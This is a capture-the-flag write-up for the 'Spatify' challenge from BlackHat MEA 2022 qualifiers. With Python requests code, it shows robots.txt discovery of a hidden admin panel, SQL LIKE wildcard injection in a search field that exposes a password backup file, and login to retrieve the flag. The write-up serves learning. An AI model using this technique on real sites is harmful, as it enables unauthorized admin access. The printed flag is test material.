> For the complete documentation index, see [llms.txt](https://blog.diefunction.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.diefunction.io/ctf/blackhatmea-quals-2022/spatify.md).

# Spatify

## Difficulty

Easy

## Points

150

## Description

Welcome to spatify, the perfect place to enjoy some royalty-free music with neither ads nor vulnerabilities at all!

## Quick Analysis

### Spatify robots.txt file discovery

After running the **Burpsuite** crawler, or any crawler, the crawler discovered a `/robots.txt` file.

### What is a robots.txt file used for? [\[1\]](https://developers.google.com/search/docs/crawling-indexing/robots/intro)

The `robots.txt` file tells search engine crawlers which URLs the crawler can access on your site.

### Content of robots.txt

```python
from requests import get, post
url = 'https://blackhat4-944f71937411184fb04dddb0c9371eb1-0.chals.bh.ctf.sa'
```

```python
file = '/robots.txt'
response = get(url + file)
print(response.text)
```

```
User-agent: *
Disallow: /superhiddenadminpanel/
```

### Spatify's admin panel

The Spatify admin panel `/superhiddenadminpanel/` can only be access via a password.

### Spatify search engine

The Spatify home page `/` search for music based on the music name.\
Default listed music

```html
<div class="mb-2"><b>[FEATURED] Goldn - Praz Khanal</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/goldn.mp3" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Guitar Electro Sport Trailer - Gvidon</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/guitar.mp3" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Learn SQL in 3 minutes</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/learn_sql.mp3" type="audio/mpeg">
    </audio>
</div>
```

#### Analyze the search SQL Query

The search requires input with at least five characters.\
The common word between all three music names is `FEATURED`. The result of `FEATURED` search is the same as the home page default music.\
I assume the `SQL Query` querying is based on `LIKE` operator.

### The SQL LIKE Operator [\[2\]](https://www.w3schools.com/sql/sql_like.asp)

The LIKE operator is used in a WHERE clause to search for a specified pattern in a column.

There are two wildcards often used in conjunction with the LIKE operator:

* The percent sign (%) represents zero, one, or multiple characters
* The underscore sign (\_) represents one, single character

#### LIKE syntax

```
SELECT column1, column2, ...
FROM table_name
WHERE columnN LIKE pattern; 
```

#### Spotify Search with SQL Wildcards

The result of `FEATURE%` search is the same as the home page default music, which means the query is injectable with `SQL wildcards`.

## Exploitation

### SQL wildcard injection

List all music records with wildcards with five percent signs `%`. `q=%%%%%%`

```html
<div class="mb-2"><b>😋 🅟🅐🅢🅢🅦🅞🅡🅓 🅑🅐🅒🅚🅤🅟 😋</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/secret_password_backup.txt.bak" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Goldn - Praz Khanal</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/goldn.mp3" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Guitar Electro Sport Trailer - Gvidon</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/guitar.mp3" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Learn SQL in 3 minutes</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/learn_sql.mp3" type="audio/mpeg">
    </audio>
</div>
```

### Content of secret\_password\_backup.txt.bak

```python
file = '/static/audio/secret_password_backup.txt.bak'
response = get(url + file)
print(response.text)
```

```
THISISTHEPASSWORDTOTHEADMINPANEL123321123321
```

### The flag

```python
import re
endpoint = '/superhiddenadminpanel/'
data = { 'password': 'THISISTHEPASSWORDTOTHEADMINPANEL123321123321' }
response = post(url + endpoint, data = data)
html = response.text
flag = re.search('BlackHatMEA{(.*)}', html)
print(flag.group(0))
```

```
BlackHatMEA{551:14:dc339129777027c07c8c63bd0310f7da6d9074a6}
```

## References

* <https://developers.google.com/search/docs/crawling-indexing/robots/intro>
* <https://www.w3schools.com/sql/sql\\_like.asp>